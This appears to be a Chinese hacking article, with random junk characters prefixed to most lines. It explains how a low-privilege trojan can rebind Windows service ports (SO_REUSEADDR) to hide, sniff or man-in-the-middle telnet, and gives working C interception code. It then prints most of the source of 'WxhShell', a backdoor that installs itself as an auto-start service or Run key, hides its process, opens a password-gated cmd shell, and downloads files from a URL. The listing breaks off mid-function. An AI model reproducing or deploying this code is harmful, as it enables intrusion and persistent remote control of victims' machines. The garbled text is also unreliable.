在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
FeZW S>N s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m@I}$ je#LD saddr.sin_family = AF_INET;
dj9i*#F hxJKYU^%m saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+3AX1o%p,# QTF1~A\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
HnFH|H<Uf (6H7?nv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=],c$) P!j*4t 这意味着什么?意味着可以进行如下的攻击:
l{?9R.L QCDica `+* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
h)W# o[JZ>nm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
sm[zE/2b @o}J ) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<o|k'Y(- YsiH=x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dKXzFyW #/9Y}2G|] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Iq19IbR8 F 3q<j$y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&.yX41R c;t3I}, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?qHQ#0 @y] =<#++;!I
#include
l.;^w #include
*>EV4Hl #include
wUg=jnY #include
Wy1.nn[ DWORD WINAPI ClientThread(LPVOID lpParam);
RZqMpW int main()
%/nDG9l {
BlT)hG(M> WORD wVersionRequested;
6&LmR75C DWORD ret;
48;b WSADATA wsaData;
aAd1[?& BOOL val;
FL$S_JAw SOCKADDR_IN saddr;
!xg10N}I SOCKADDR_IN scaddr;
Mxd7X<\$ int err;
S;#7B?j SOCKET s;
#4nBov3d SOCKET sc;
#+h#b%8 int caddsize;
l8%BRG HANDLE mt;
4`V&Yqwl DWORD tid;
.UN?Ak*R wVersionRequested = MAKEWORD( 2, 2 );
d[H`Fe6h err = WSAStartup( wVersionRequested, &wsaData );
K1;b4Sl?A if ( err != 0 ) {
lF7". printf("error!WSAStartup failed!\n");
mZ?QtyljT return -1;
I~ mu'T }
[%Z{Mp'g saddr.sin_family = AF_INET;
o=lZl_5/u; CqX*.j{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ET*:iioP (
YZ2& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
elD|b=(-
saddr.sin_port = htons(23);
AOqL&z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qckRX+P` {
kcNPdc printf("error!socket failed!\n");
Kb/qM}jS return -1;
uE%2kB*] }
4 4WyfpTJ* val = TRUE;
$p}q,f. //SO_REUSEADDR选项就是可以实现端口重绑定的
! bwy/A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
['6Sq@c) {
(2RuQgO printf("error!setsockopt failed!\n");
g\49[U}[~F return -1;
Cs vwc% }
p7.~k1h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
W:}t%agis //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
e?GzvM'2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@c>MROlrlF U4iVI#f if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2c*}1
_ {
*iSE)[W ret=GetLastError();
M@pF[J/ printf("error!bind failed!\n");
1:{+{Yl7 return -1;
<c,iu{: }
6>'>BamX listen(s,2);
UnZc9 6 while(1)
W:8{}Iu< {
(r1"!~d@ caddsize = sizeof(scaddr);
SEM-t //接受连接请求
zP$"6~. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
vXak5iq>X if(sc!=INVALID_SOCKET)
F*4G@) {
zRR^v&.9K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
B+c,3@)x if(mt==NULL)
=,s5>2 {
1l.HQ IS printf("Thread Creat Failed!\n");
raMtTL+ break;
4Le{|B }
t<^7s9r;I }
3)(uC+?[ CloseHandle(mt);
vhU#<59a1 }
X9&>.?r closesocket(s);
@k-GyV-v WSACleanup();
,K.Wni#m return 0;
,GtN6? }
JUq7R%"h6 DWORD WINAPI ClientThread(LPVOID lpParam)
+N|t:8qaf {
ndvt
$* SOCKET ss = (SOCKET)lpParam;
FaaxfcIfkw SOCKET sc;
5E${ unsigned char buf[4096];
8xoC9!xt SOCKADDR_IN saddr;
K8v@) long num;
raR=k!3i DWORD val;
7?uIl9Vk>( DWORD ret;
HeHo?<>|d //如果是隐藏端口应用的话,可以在此处加一些判断
:?)q"hE //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wZj`V_3 saddr.sin_family = AF_INET;
hu~XFRw15 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ji5Nq+S2 saddr.sin_port = htons(23);
$A98h-*x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k+eeVy {
]-OF3+l4 printf("error!socket failed!\n");
zpcO7AY~ return -1;
@|d`n\%x }
j:2*hF!E val = 100;
l%
{<+N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d @b ]/ {
}e>OmfxDBt ret = GetLastError();
zRm@ |IT return -1;
* YLpC^& }
fDChq[LAn if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c$;Cpt@-j {
byk9"QeY\ ret = GetLastError();
Se!B,'C% return -1;
0.^67' }
#*"I?B/fd8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`I(5Aj" {
l~x
6R~q printf("error!socket connect failed!\n");
EB
p(^rj closesocket(sc);
2=n,{rkmj% closesocket(ss);
$N4i)>&T2 return -1;
cM=_i{c }
X$SXDb~G while(1)
[qxDCuxq {
6D4 j];~X //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6PMu*-Nv!j //如果是嗅探内容的话,可以再此处进行内容分析和记录
'D^@e0.3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
a.XMeB num = recv(ss,buf,4096,0);
jq(rnbV if(num>0)
F^!_!V B send(sc,buf,num,0);
~AcjB( else if(num==0)
J>+~//C break;
zHXb[$Q num = recv(sc,buf,4096,0);
v;Rm42k if(num>0)
A/~^4DR send(ss,buf,num,0);
]!WD">d: else if(num==0)
7fW$jiw break;
,d8*7my }
Y>CZ closesocket(ss);
6KX/Yj~B closesocket(sc);
2))pB/ return 0 ;
Rab7Y,AA }
MVp+2@)}s t28 y=nv odTIz{9qG ==========================================================
stq%Eg? :MF+`RpL 下边附上一个代码,,WXhSHELL
9i!|wkx ^:ehG9 ==========================================================
zCj#Nfm uh3<%9#\k #include "stdafx.h"
W;.LN<bx #mRT>]di`D #include <stdio.h>
]mx1djNA #include <string.h>
e Y(JU5{ #include <windows.h>
v@qVT'qlU #include <winsock2.h>
eMU t%zvb #include <winsvc.h>
x#'v}(v #include <urlmon.h>
3Sn#
M{wH Q'Y7PG9m~ #pragma comment (lib, "Ws2_32.lib")
Ym9~/'%] #pragma comment (lib, "urlmon.lib")
9-Xr (6i.>%|_ #define MAX_USER 100 // 最大客户端连接数
2Gn26L5 #define BUF_SOCK 200 // sock buffer
@5cY5e*i{ #define KEY_BUFF 255 // 输入 buffer
1j!{?t? uL=FK #define REBOOT 0 // 重启
k}e~xbh-y #define SHUTDOWN 1 // 关机
sE\Cv2Gx Tuy5h5 #define DEF_PORT 5000 // 监听端口
OJ<V<=MYZ l' Uj"9r, #define REG_LEN 16 // 注册表键长度
{\n?IGP?wd #define SVC_LEN 80 // NT服务名长度
(CY#B%* G]gc*\4 // 从dll定义API
5:SS2>~g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
F7JF1HfCP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
p u[S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ZY8:7Q@P> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KH9D}, =L,7~9 // wxhshell配置信息
@}_Wl<kn struct WSCFG {
Z':w
X int ws_port; // 监听端口
"Pzh#rYY~W char ws_passstr[REG_LEN]; // 口令
WI-I+0sE int ws_autoins; // 安装标记, 1=yes 0=no
=dY!-#yg! char ws_regname[REG_LEN]; // 注册表键名
t:tIzFNv char ws_svcname[REG_LEN]; // 服务名
2@|,VN V6~ char ws_svcdisp[SVC_LEN]; // 服务显示名
v=E(U4v9e char ws_svcdesc[SVC_LEN]; // 服务描述信息
6Vu) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
IkgRZ{Y int ws_downexe; // 下载执行标记, 1=yes 0=no
A%.ZesjAx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:[ll$5E. char ws_filenam[SVC_LEN]; // 下载后保存的文件名
M[7$F&&n $)VnHr `hy };
$Sd pF-' r|Q/:UV?w // default Wxhshell configuration
Tvd: P^C struct WSCFG wscfg={DEF_PORT,
l|K$6>80 "xuhuanlingzhe",
&Yd6w}8 1,
@8lT*O2j "Wxhshell",
Er<!8;{?
"Wxhshell",
,7SqRY,+ "WxhShell Service",
mIv}%hD "Wrsky Windows CmdShell Service",
mD;ioaE
"Please Input Your Password: ",
}hS$F 1,
:dwP "
http://www.wrsky.com/wxhshell.exe",
QQ./! "Wxhshell.exe"
-BEd7@?A };
Z~ u3{ x,TnYqT^ // 消息定义模块
#S"s8wdD
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
JHg
y&/ char *msg_ws_prompt="\n\r? for help\n\r#>";
}z-6 ,i)'k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
| *N;R+b char *msg_ws_ext="\n\rExit.";
D|IS@gWa char *msg_ws_end="\n\rQuit.";
- 9a4ej5 char *msg_ws_boot="\n\rReboot...";
L`"V_
"Q#0 char *msg_ws_poff="\n\rShutdown...";
!k!1h%7q char *msg_ws_down="\n\rSave to ";
O[ F d^d+8R char *msg_ws_err="\n\rErr!";
<yw56{w, char *msg_ws_ok="\n\rOK!";
4++p K;I ;3+_aoY char ExeFile[MAX_PATH];
OtoG,~? int nUser = 0;
j8;Uny9 HANDLE handles[MAX_USER];
D_ XOYzN} int OsIsNt;
$0Un'"`S X~Hm.qIR SERVICE_STATUS serviceStatus;
$>rKm
SERVICE_STATUS_HANDLE hServiceStatusHandle;
uj+{
tc ^;wz+u4^l // 函数声明
\f@obp int Install(void);
Bv#?.0Ez; int Uninstall(void);
-@.FnFa int DownloadFile(char *sURL, SOCKET wsh);
-Sa-eWP int Boot(int flag);
vK$wc~ void HideProc(void);
XHh*6Yt_ ( int GetOsVer(void);
@Y!B~ int Wxhshell(SOCKET wsl);
D/+l$aBz void TalkWithClient(void *cs);
SNSHX2 int CmdShell(SOCKET sock);
9K-,#a int StartFromService(void);
|\W~+}'g~ int StartWxhshell(LPSTR lpCmdLine);
H\$uRA oo* dnkHx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ijKQ`}JA VOID WINAPI NTServiceHandler( DWORD fdwControl );
S_38U ]d.e(yCuE // 数据结构和表定义
v7,- Q* SERVICE_TABLE_ENTRY DispatchTable[] =
>96+s)T%; {
l[[^]__ {wscfg.ws_svcname, NTServiceMain},
X6xs@tgQ {NULL, NULL}
m@2=vq1f };
Y++n0sK5< ll*Ez"
// 自我安装
}:(;mW8
D int Install(void)
|-z"6F r- {
bmJdZD7-<k char svExeFile[MAX_PATH];
{u4AOM=) HKEY key;
Y$s4 *)% strcpy(svExeFile,ExeFile);
1C0'
Gf)3 XW~a4If // 如果是win9x系统,修改注册表设为自启动
wLNkXC if(!OsIsNt) {
?} lqu7S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\\3 ?ij:v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Vq'n$k} RegCloseKey(key);
h.kjJF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tJA"BP3f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p!DOc8a.\e RegCloseKey(key);
W
j`f^^\HJ return 0;
|Qn>K }
t<"%m)J }
&"7+k5O }
KY?ujeF else {
dVZ~n4 KyBtt47\ // 如果是NT以上系统,安装为系统服务
8Wgzca
Q* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/T+%q#4 if (schSCManager!=0)
uvJ&qd8M {
dA <_`GFR SC_HANDLE schService = CreateService
JL>DRIR%NV (
%,e,KcP' schSCManager,
_7~q| wscfg.ws_svcname,
Ctx>#uN6 wscfg.ws_svcdisp,
8,(--A SERVICE_ALL_ACCESS,
X"7x_yOZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
N#XC%66qy! SERVICE_AUTO_START,
b1QHZY\g{ SERVICE_ERROR_NORMAL,
E<7$!P=z` svExeFile,
9Ais)Wy%p NULL,
2sp4Mm NULL,
!Y&]Y
G NULL,
ct<XKqbI NULL,
u?F.%j- NULL
AnK X4Q );
VP<LY/'f if (schService!=0)
QL*RzFAD3 {
(G(M"S SC CloseServiceHandle(schService);
>XX93 CloseServiceHandle(schSCManager);
fYpJ2y-sA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{ft |* strcat(svExeFile,wscfg.ws_svcname);
| GN/{KH] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{rn^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
N-q6_ RegCloseKey(key);
q$"?P return 0;
"c.-`1,t }
|~&cTDd }
hBVm;` CloseServiceHandle(schSCManager);
\S&OAe/b }
%(]B1Zg6, }
D1@yW}
4 |<O^M q return 1;
`g4N]<@z }
W|"bV 6d3 uGHM ]"!) // 自我卸载
I:6XM? int Uninstall(void)
eu":\ks {
/1$u|Gs
* HKEY key;
(:\L@j q=-h#IF^ if(!OsIsNt) {
:))&"GY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y]+[o1]-c RegDeleteValue(key,wscfg.ws_regname);
{fjBa,o
# RegCloseKey(key);
0A-yQzL| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#lMC#Ld RegDeleteValue(key,wscfg.ws_regname);
,_s.amL3O{ RegCloseKey(key);
u:tcL-;U
return 0;
P&<NcOCL& }
Onou:kmf1 }
Q2:rWE{K! }
v`G}sgn else {
lCBH3-0^ ,~DKU*A_~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)u4=k( if (schSCManager!=0)
]7oo`KcQ| {
?GqH/
(O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$yq76 if (schService!=0)
g^7zDU&' {
DtJ3`Jd if(DeleteService(schService)!=0) {
U#Iwe= CloseServiceHandle(schService);
ovdaK"q2 CloseServiceHandle(schSCManager);
dBS_N/ return 0;
~*]7f%L- }
_+H $Pa}? CloseServiceHandle(schService);
YB!f =_8 }
?P4y$P CloseServiceHandle(schSCManager);
V?mk*CU }
-]{
_^ }
\(;u[ )>U"WZ'< return 1;
#2$wI^O }
-$_FKny J<4_<.o(a // 从指定url下载文件
ynZEJKo int DownloadFile(char *sURL, SOCKET wsh)
&9z`AY]> {
eu~ u-}. HRESULT hr;
U<>@)0~7g! char seps[]= "/";
ZS=;) char *token;
q&_\A0 char *file;
@&%/<|4P5 char myURL[MAX_PATH];
:UAcS^n7h" char myFILE[MAX_PATH];
/>pAZa vK+!m~kDu strcpy(myURL,sURL);
.o,-a >jL token=strtok(myURL,seps);
2v;&`04V< while(token!=NULL)
Bj9FSKiH {
_HjB'XNr( file=token;
SuNc&e#( token=strtok(NULL,seps);
_MuzD&^qE }
uXvE>VpJG GN=8;Kq% GetCurrentDirectory(MAX_PATH,myFILE);
J!G92A~*] strcat(myFILE, "\\");
B&<5VjZ\ strcat(myFILE, file);
+nim47 send(wsh,myFILE,strlen(myFILE),0);
TTbJ9O<43 send(wsh,"...",3,0);
s&Al4>}.f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
cIC/3g}] if(hr==S_OK)
{'B(S/Z7 return 0;
5e1oxSU else
Gpcordt/ return 1;
PRx- 0S &;p}HL, }
#W
l^!)#j? %_CL/H
// 系统电源模块
.Cs'@[Ciy int Boot(int flag)
.IVKgQ
B {
*uP;rUY HANDLE hToken;
-N5h` Ii7 TOKEN_PRIVILEGES tkp;
<eP,/H Uovna:" if(OsIsNt) {
3Zs0W{OxU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
X+<9-]= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9`5.0** tkp.PrivilegeCount = 1;
Ktvs*.? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A7&/3C6{H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p!)tA if(flag==REBOOT) {
"Mv^S'?> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
q[}re2 return 0;
2V$Jn8v,`{ }
Ey%[t else {
.sOZ "=tW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
m=v.<+> return 0;
c&aqN\'4" }
g
4|ai*^ }
G`&P|xYg else {
,,6lQ]wG if(flag==REBOOT) {
;-l^X%r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|nr;OM return 0;
fA0wQz]u }
7;C~>WlU else {
R/Sm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[u J<] return 0;
[D(JEO@ : }
Zy{hYHQ }
_ouZd. | z_av return 1;
Ol<LL#<j4 }
9&<c)sS&B B<h4ZK% // win9x进程隐藏模块
nw_|W)JVQ void HideProc(void)
B}*\ pdJ {
_ Qek|> ,I+O;B:0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
G;A if ( hKernel != NULL )
]W%rhppC {
qoZAZ&|HI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u`oJ3mS; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<Hz11
}<( FreeLibrary(hKernel);
CDW|cr{ }
7~ZG"^k Qy=tkCN return;
fIatp }
:B|rs& Wf%)::G*uR // 获取操作系统版本
#BS!J&a int GetOsVer(void)
QfM^J5j.M? {
z&um9rXR OSVERSIONINFO winfo;
`/wXx5n5< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~x_(v,NW GetVersionEx(&winfo);
xlgT1b:6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
p;R&h4H return 1;
{l_D+B; else
;eO Ye3;c return 0;
gh"_,ZhZt }
S"87 <o ?Iaqbt%2 // 客户端句柄模块
d4Y[}Fcp+ int Wxhshell(SOCKET wsl)
IF//bgk- {
#>BC|/P} SOCKET wsh;
2(e;pM2Dq struct sockaddr_in client;
=&qfmq DWORD myID;
9c1q:>| #-R]HLW* while(nUser<MAX_USER)
N "eK9> {
dr(e)eD(R> int nSize=sizeof(client);
8
?:W{GAo wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I<xcVY9L if(wsh==INVALID_SOCKET) return 1;
KK-+vq 6Q+VW_~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!ueh%V Ky if(handles[nUser]==0)
?6I`$ &OA closesocket(wsh);
BP4vOZ0$ else
?o/p}6 nUser++;
ilQ\+xR{b }
Yx ;j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
to#2. F0r5$Pl* return 0;
@e7_&EGR? }
TLVfu4 xcJvXp
// 关闭 socket
f)Z'#[A*t7 void CloseIt(SOCKET wsh)
X\<a|/{V A {
`<Hc,D; p closesocket(wsh);
#SD2b,f nUser--;
HDu|KW$o1 ExitThread(0);
)coA30YR }
Th~pju (ueH@A"9; // 客户端请求句柄
}JT&lyO< b void TalkWithClient(void *cs)
*t={9h {
>Wpd q( o R9+f^o`W SOCKET wsh=(SOCKET)cs;
Ag1nxV1M$ char pwd[SVC_LEN];
W^3'9nYU char cmd[KEY_BUFF];
W$Aypy
char chr[1];
qrt2uE{K int i,j;
bs?4|#[K ;hFB]/.v while (nUser < MAX_USER) {
g)MLgjj )*o) iN 7l if(wscfg.ws_passstr) {
W`n_m&Y\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.=c@ps //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>g [Wnzf //ZeroMemory(pwd,KEY_BUFF);
=)]RD%Oq i=0;
91#n Aj% while(i<SVC_LEN) {
#e9XU:9@g T(~^X-k // 设置超时
BTE&7/i21 fd_set FdRead;
SC2g5i` struct timeval TimeOut;
!A_KCM:Ym FD_ZERO(&FdRead);
|:SXN4';? FD_SET(wsh,&FdRead);
i'#%t/ u TimeOut.tv_sec=8;
a$6pA@7} TimeOut.tv_usec=0;
E
6!V0D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%g4)f9> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Q?9eu%G6I OQT i$2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(fO~nN{F pwd
=chr[0]; $>%zNq-F
if(chr[0]==0xd || chr[0]==0xa) { 6(HJYa
pwd=0; L+)mZb&
break; qv/chD`C
} x/92],.Mz
i++; 9AQ2FD
} Aq/wa6^%
WS$~o*Z8
// 如果是非法用户,关闭 socket m(WVxVB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =E8Kacu%
} \<y#$:4r<8
z&[[4[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #8bI4J{dE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GuJIN"P]
;Y(~'KF
while(1) { 8@I.\u)0
+
V-&?E(
ZeroMemory(cmd,KEY_BUFF); yXc@i)9w3
6K9-n}z
// 自动支持客户端 telnet标准 Y[fbmn^
j=0; Lismo#
while(j<KEY_BUFF) { 0j{KZy
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a3(f\MMxE
cmd[j]=chr[0]; y? 65*lUl
if(chr[0]==0xa || chr[0]==0xd) { /p@0Q[E
cmd[j]=0; MK4CggoC
break; ' }NH$ KA
} 5d82M s
j++; f<3r;F7
} 0 f"M-x
>[g'i+{
// 下载文件 niM(0p
if(strstr(cmd,"http://")) { t]pJt
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &44?k:
if(DownloadFile(cmd,wsh)) ]^l-k@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Q^*h}IdW
else qk(u5Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * (<3 oIRS
} dtq]_HvTJ
else { yAVt[+0
vy F(k3W
switch(cmd[0]) { UIw6~a3E
eYRm:KC
// 帮助 O<w7PS
case '?': { pJwy~ L
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GP}+c8|2
break; *|:]("i
} v_@!u`
// 安装 k\M">K0E
case 'i': { BH=CoD.
if(Install())
'+C%]p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jz\'%O'
else NW;wy;;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w2`j&]D6
break; j-etEWOTr
} GEi^3UD
// 卸载 &rxR"^x\
case 'r': { zX/9^+p:
if(Uninstall()) jl4rEzVu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bjq2XP?LL
else Mxe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %5H>tG`]
break; L"!BN/i_
} yh Ymbu
// 显示 wxhshell 所在路径 K?+Rq
case 'p': { `{I-E5x
char svExeFile[MAX_PATH]; .c.#V:XZ#U
strcpy(svExeFile,"\n\r"); ;rH@>VrR
strcat(svExeFile,ExeFile); c}FZb$q#
send(wsh,svExeFile,strlen(svExeFile),0); Yt;.Z$i ,
break; tI(co5 W
} .{W)E
// 重启 c^8y/wfok
case 'b': { n-_-;TYH
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^KMZB
if(Boot(REBOOT)) [t`QV2um
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _/!IjB:(70
else { c8jq.y v
closesocket(wsh); `4 A%BKYB
ExitThread(0); 1jozM"H7Q
} <tg>1,C
break; %/&?t`%H
} &6L{1
// 关机 r 6STc,%5
case 'd': { +d736lLe%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sc*O_c3D
if(Boot(SHUTDOWN)) fm\IQqIK%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pJ5Sxgv{;
else { DFt1{qS8@u
closesocket(wsh); K(HP PM\
ExitThread(0); mko<J0|4
} qyuU
break; `=Hh5;ep
} y85/qg)H^
// 获取shell #SRGVa`x
case 's': { K_B-KK(^
CmdShell(wsh); y8un&LP
closesocket(wsh); x*[\$E`v
ExitThread(0); RW|3d<Fj
break; Y m|zM1qc
} >%.6n:\rG
// 退出 PQ|kE`'
case 'x': {
}ya9 +?I
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9Qb_BNUo
CloseIt(wsh); yggQ4y6
break; #^v|u3^DD
} eVDI7W:(Sn
// 离开 *eytr#0B-
case 'q': { [x5T7=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T?c:z?j_9
closesocket(wsh); m$:o+IH/
WSACleanup(); b{t'Doe
exit(1); }cG!93
break; lM5Xw
} =?3D:k7z
} t3b%f`D
} N$H0o+9-Y
,xrXby|R"
// 提示信息 P-VK=Y1q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 969*mcq'
} _*+ 7*vAL
} %@5f+5{i!z
Qe=!'u.nL
return; `|;R}"R;
} [=-?n6
~fE@]~f>
// shell模块句柄 _d&FB~=
int CmdShell(SOCKET sock) 5TVDt
{ },'2j
STARTUPINFO si; hof:+aW
ZeroMemory(&si,sizeof(si)); ajW[}/)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0*q&)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^'~+ w3M@
PROCESS_INFORMATION ProcessInfo; 9Ay*'
char cmdline[]="cmd"; _rK}~y=0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b&Qj`j4]ZM
return 0; jnX9] PkJ
} )G0a72
XFPWW ,
// 自身启动模式 DGTSk9iK(
int StartFromService(void) 1_!*R]a q
{ rm NqS+t
typedef struct pUWj,&t
{ Zycu3%JI
DWORD ExitStatus; z)r)w?A
DWORD PebBaseAddress; bH&Cbme90-
